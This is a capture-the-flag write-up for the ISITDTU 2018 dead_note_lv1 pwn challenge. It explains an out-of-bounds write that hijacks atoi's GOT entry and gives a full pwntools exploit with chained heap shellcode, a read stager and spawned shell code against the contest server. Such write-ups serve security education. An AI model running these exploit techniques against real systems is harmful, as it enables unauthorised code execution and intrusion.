ISITDTU CTF 2018 Quals - dead_note_lv1
19 Solves
nc 159.89.197.67 3333
Link Binary: https://bit.ly/2LSmqQt
Attachment: dead_note_lv1 xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : ENABLED
RELRO : Partial
********************Dead Note*******************
* *
* 1 - Add Note *
* 2 - Del Note *
* 3 - Exit *
* *
************************************************
Your choice:
From the first look of the menu, we could expect a regular heap pwn, except that it’s not…
When trying to add new notes, it will mostly always complain about Big size~~
not letting us add a new note, so let’s take a look at the function for adding notes:
void add_note () {
char input [ 16 ];
printf ( "Index: " );
int idx = read_number ();
printf ( "Number of Note: " );
int number = read_number ();
if ( number > 0 && number <= MAX_READ ) {
printf ( "Content: " );
memset ( input , 0 , 16 );
read_string ( input , 8 );
if ( strlen ( input ) <= 3 )
{
for ( int i = 0 ; i < number ; ++ i )
NOTE_TABLE [ idx + i ] = strdup ( input ); // oob write
MAX_READ -= number ;
puts ( "Done~~" );
}
else
puts ( "Big size~~" );
}
else
puts ( "Out of bound~~" );
}
So, we’re only allowed to add new notes with a max length of 3 bytes. Our input will then be copied to the heap via strdup
, which will allocate consecutive 0x20
chunks on the heap and put our string into it.
The function fails to check, if the idx
is inside the note table, so we can use this to overwrite arbitrary addresses in the bss with the address to our note. This might come in handy later on.
long delete_note ()
{
printf ( "Index: " );
int idx = read_number ();
if ( NOTE_TABLE [ idx ] ) // No check on index
puts ( "Can not delete blank note~~" ); // shows message, but doesn't return
free ( NOTE_TABLE [ idx ]);
NOTE_TABLE [ v1 ] = 0LL ;
return ( MAX_READ ++ + 1 );
}
The delete_note
function can be a bit confusing, because if we specify a note, that exists, it will show the message Can not delete blank note~~
, but not complain if we select a note, that doesn’t exist.
But that message can be ignored, since it won’t return, but execute the free
anyways. Like add_note
, it also fails to check if index
is inside the note boundary, which could be used to free pointers before our note list. Though this isn’t useful for exploiting this challenge.
While running vmap
in gdb, it gets quite obvious, what’s the target of the challenge:
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555556000 r-xp /vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1
0x0000555555755000 0x0000555555756000 r-xp /vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1
0x0000555555756000 0x0000555555757000 rwxp /vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1
0x0000555555757000 0x0000555555759000 rwxp [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe6000 0x00007ffff7fe9000 rwxp mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
The heap is marked rwx
, so we could use add_note
to place some shellcode there. But how could we get it to execute?
Well, there comes the oob write
from add_note
to help. Since, we can specify negative indices, and the got
table is before the NOTE_TABLE
, we can just add a note and store its address in atoi
got.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "159.89.197.67"
PORT = 3333
def add_note ( idx , number , content ):
r . sendline ( "1" )
r . sendlineafter ( ": " , str ( idx ))
r . sendlineafter ( ": " , str ( number ))
r . sendafter ( ": " , content )
r . recvuntil ( "Your choice: " )
def del_note ( idx ):
r . sendline ( "2" )
r . sendlineafter ( ": " , str ( idx ))
r . recvuntil ( "Your choice: " )
def exploit ( r ):
# calculate offset for atoi got
dest = - ( 0x2020e0 - e . got [ "atoi" ]) / 8
# create a note and put its address into atoi got
add_note ( dest , 1 , "aaa" )
r . interactive ()
return
if __name__ == "__main__" :
e = ELF ( "./dead_note_lv1" )
if len ( sys . argv ) > 1 :
r = remote ( HOST , PORT )
exploit ( r )
else :
LOCAL = True
r = process ( "./dead_note_lv1" )
print util . proc . pidof ( r )
pause ()
exploit ( r )
The next time, we enter some input in the menu, the binary will try to convert it to a number by calling atoi
(with our input as argument), resulting into jumping into our (invalid) aaa
shellcode on the heap.
*] '/vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './dead_note_lv1': pid 1750
[1750]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0xf
RSI: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
RDI: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
RBP: 0x7fffffffe4c0 --> 0x7fffffffe4d0 --> 0x555555555020 (push r15)
RSP: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
RIP: 0x555555554c3a (call 0x555555554a20 <atoi@plt>)
R8 : 0x7ffff7fe7700 (0x00007ffff7fe7700)
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x555555759020 --> 0x0
R11: 0x246
R12: 0x555555554a60 (xor ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554c2e: lea rax,[rbp-0x20]
0x555555554c32: mov rdi,rax
0x555555554c35: mov eax,0x0
=> 0x555555554c3a: call 0x555555554a20 <atoi@plt>
0x555555554c3f: mov rdx,QWORD PTR [rbp-0x8]
0x555555554c43: xor rdx,QWORD PTR fs:0x28
0x555555554c4c: je 0x555555554c53
0x555555554c4e: call 0x5555555549a0 <__stack_chk_fail@plt>
Guessed arguments:
arg[0]: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
0008| 0x7fffffffe4a8 ("AAAAAAAA`JUUUU")
0016| 0x7fffffffe4b0 --> 0x555555554a60 (xor ebp,ebp)
0024| 0x7fffffffe4b8 --> 0xb290969e8e0a6f00
[------------------------------------------------------------------------------]
...
[-------------------------------------code-------------------------------------]
0x555555554a10 <signal@plt>: jmp QWORD PTR [rip+0x201652] # 0x555555756068
0x555555554a16 <signal@plt+6>: push 0xa
0x555555554a1b <signal@plt+11>: jmp 0x555555554960
=> 0x555555554a20 <atoi@plt>: jmp QWORD PTR [rip+0x20164a] # 0x555555756070
| 0x555555554a26 <atoi@plt+6>: push 0xb
| 0x555555554a2b <atoi@plt+11>: jmp 0x555555554960
| 0x555555554a30 <exit@plt>: jmp QWORD PTR [rip+0x201642] # 0x555555756078
| 0x555555554a36 <exit@plt+6>: push 0xc
|-> 0x555555759010: (bad)
0x555555759011: (bad)
0x555555759012: (bad)
0x555555759013: add BYTE PTR [rax],al
JUMP is taken
[------------------------------------stack-------------------------------------]
[-------------------------------------code-------------------------------------]
=> 0x555555759010: (bad)
0x555555759011: (bad)
0x555555759012: (bad)
0x555555759013: add BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
Ok, so now we’re able to execute our super short shellcode, but how to do anything useful with it. Well, we can use shellcode, that jumps from one chunk to the next.
gdb-peda$ x/30gx 0x0000555555759010-0x10
0x555555759000: 0x0000000000000000 0x0000000000000021
0x555555759010: 0x0000000000626262 0x0000000000000000
0x555555759020: 0x0000000000000000 0x0000000000000021
0x555555759030: 0x0000000000636363 0x0000000000000000
0x555555759040: 0x0000000000000000 0x0000000000000021
0x555555759050: 0x0000000000646464 0x0000000000000000
0x555555759060: 0x0000000000000000 0x0000000000020fa1
Our shellcodes are stored exactly 0x20
bytes from each other, so we could do a jmp +0x20
in every shellcode to jump to the next chunk. Since a jmp
takes up at least 2 bytes, we have 1 byte per shellcode chunk to do something useful (also we’ll jmp +0x1f
, since the offset is moved by one after executing the first opcode).
>>> asm ("jmp $+0x1f")
'\xeb\x1d'
Though with only 1 opcode, we won’t be able to do a syscall
or something similar useful.
But take a closer look at the registers, when our first shellcode gets executed. Since it’s calling atoi
it will hold our last input in rsi
(16 bytes of input that is) and the stack is also marked rwx
. This would make a good target for a stager shellcode, if we would be able to jump there.
Well, we can, by just pushing rsi
to the stack and then do a ret
, which both happen to be 1 opcode instructions.
So, our attack plan looks like this
Put our jump to input
shellcode in multiple notes connected with jmps
Return to our input shellcode
Let the input shellcode
read another shellcode and execute that one
Give it a shellcode, finally executing a shell
To make the first one easier, I allocated a dummy note at the start of the heap, which we could later free and then reallocate into atoi got, so we can start from the beginning of the heap:
def exploit ( r ):
context . arch = "amd64"
# Jump to input shellcode
SC = """
push rsi
ret
"""
payload = asm ( SC )
log . info ( "Create dummy note on heap" )
add_note ( 0 , 1 , "dum" )
counter = 1
log . info ( "Write payload to heap" )
for ch in payload [ 1 :]:
add_note ( counter , 1 , "%c%s" % ( ch , " \xeb\x1d " ))
counter += 1
log . info ( "Remove dummy note and write first payload opcode to heap" )
del_note ( 0 )
dest = - ( 0x2020e0 - e . got [ "atoi" ]) / 8
add_note ( dest , 1 , "%c%s" % ( payload [ 0 ], " \xeb\x1d " ))
log . info ( "Send stager shellcode as input to atoi" )
SC2 = """
mov dl, 0xff
xor rdi, rdi
xor rax, rax
syscall
"""
r . sendline ( asm ( SC2 ))
r . interactive ()
return
After adding the note into atoi got
the binary will wait for our input, which will be the stager shellcode and then jump into our heap shellcode
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0xa ('\n')
RSI: 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
RDI: 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
RBP: 0x7fffffffe4c0 --> 0x7fffffffe4d0 --> 0x555555555020 (push r15)
RSP: 0x7fffffffe498 --> 0x555555554c3f (mov rdx,QWORD PTR [rbp-0x8])
RIP: 0x555555554a20 (<atoi@plt>: jmp QWORD PTR [rip+0x20164a] # 0x555555756070)
R8 : 0x7ffff7fe7700 (0x00007ffff7fe7700)
R9 : 0xd ('\r')
R10: 0x0
R11: 0x246
R12: 0x555555554a60 (xor ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554a10 <signal@plt>: jmp QWORD PTR [rip+0x201652] # 0x555555756068
0x555555554a16 <signal@plt+6>: push 0xa
0x555555554a1b <signal@plt+11>: jmp 0x555555554960
=> 0x555555554a20 <atoi@plt>: jmp QWORD PTR [rip+0x20164a] # 0x555555756070
| 0x555555554a26 <atoi@plt+6>: push 0xb
| 0x555555554a2b <atoi@plt+11>: jmp 0x555555554960
| 0x555555554a30 <exit@plt>: jmp QWORD PTR [rip+0x201642] # 0x555555756078
| 0x555555554a36 <exit@plt+6>: push 0xc
|-> 0x555555759010: push rsi
0x555555759011: jmp 0x555555759030
0x555555759013: add BYTE PTR [rax],al
0x555555759015: add BYTE PTR [rax],al
JUMP is taken
...
[-------------------------------------code-------------------------------------]
0x55555575900a: add BYTE PTR [rax],al
0x55555575900c: add BYTE PTR [rax],al
0x55555575900e: add BYTE PTR [rax],al
=> 0x555555759010: push rsi
0x555555759011: jmp 0x555555759030
0x555555759013: add BYTE PTR [rax],al
0x555555759015: add BYTE PTR [rax],al
0x555555759017: add BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe498 --> 0x555555554c3f (mov rdx,QWORD PTR [rbp-0x8])
0008| 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
0016| 0x7fffffffe4a8 --> 0x7fffff00050f
...
0x555555759010: push rsi
=> 0x555555759011: jmp 0x555555759030
| 0x555555759013: add BYTE PTR [rax],al
| 0x555555759015: add BYTE PTR [rax],al
| 0x555555759017: add BYTE PTR [rax],al
| 0x555555759019: add BYTE PTR [rax],al
|-> 0x555555759030: ret
0x555555759031: jmp 0x555555759050
0x555555759033: add BYTE PTR [rax],al
0x555555759035: add BYTE PTR [rax],al
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 --> 0x7fffffffe4a0 --> 0xc03148ff3148ffb2 <== Pointer to our input now on stack
...
RSI: 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
[-------------------------------------code-------------------------------------]
=> 0x555555759030: ret
0x555555759031: jmp 0x555555759050
0x555555759033: add BYTE PTR [rax],al
0x555555759035: add BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 --> 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
...
[-------------------------------------code-------------------------------------]
0x7fffffffe49c: push rbp
0x7fffffffe49d: push rbp
0x7fffffffe49e: add BYTE PTR [rax],al
=> 0x7fffffffe4a0: mov dl,0xff
0x7fffffffe4a2: xor rdi,rdi
0x7fffffffe4a5: xor rax,rax
0x7fffffffe4a8: syscall
0x7fffffffe4aa: add bh,bh
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe498 --> 0x555555554c3f (mov rdx,QWORD PTR [rbp-0x8])
We’re now in our input shellcode
, which just increases rdx
and does a read
syscall into the address from rsi
. Since rsi
still points to our input, we’ll be overwriting our current input shellcode.
With 255 bytes, we’re free to do any shellcode, so we’ll just be sending a sh()
.
payload = "A" * 11
payload += asm ( shellcraft . amd64 . sh ())
r . sendline ( payload )
We add a padding at the start of our payload, since rsi
is pointing to the start of our input, and we already moved 11 bytes in our shellcode, so after sending this shellcode
[-------------------------------------code-------------------------------------]
0x7fffffffe4a7: rex.B
0x7fffffffe4a8: rex.B
0x7fffffffe4a9: rex.B
=> 0x7fffffffe4aa: rex.B push 0x68
0x7fffffffe4ad: movabs rax,0x732f2f2f6e69622f
0x7fffffffe4b7: push rax
0x7fffffffe4b8: mov rdi,rsp
0x7fffffffe4bb: push 0x1016972
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe498 --> 0x555555554c3f (mov rdx,QWORD PTR [rbp-0x8])
0008| 0x7fffffffe4a0 ('A' <repeats 11 times>, "jhH¸/bin///sPH\211çhri\001\001\201\064$\001\001\001\001\061öVj\b^H\001æVH\211æ1Òj;X\017\005\nÿ\177")
our existing shellcode was overwritten and it continues execution on 0x7fffffffe4aa
where our sh()
shellcode now starts, finally rewarding us with a shell.
deadnote python working.py 1
[*] '/vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 159.89.197.67 on port 3333: Done
[*] Create dummy note on heap
[*] Write payload to heap
[*] Remove dummy note and write first payload opcode to heap
[*] Send stager shellcode as input to atoi
[*] Send sh() shellcode to trigger shell
[*] Switching to interactive mode
$ cd /home/dead_note_lv1
$ cat flag
ISITDTU{756d6e4267751936c6b045ae7bbfc26f}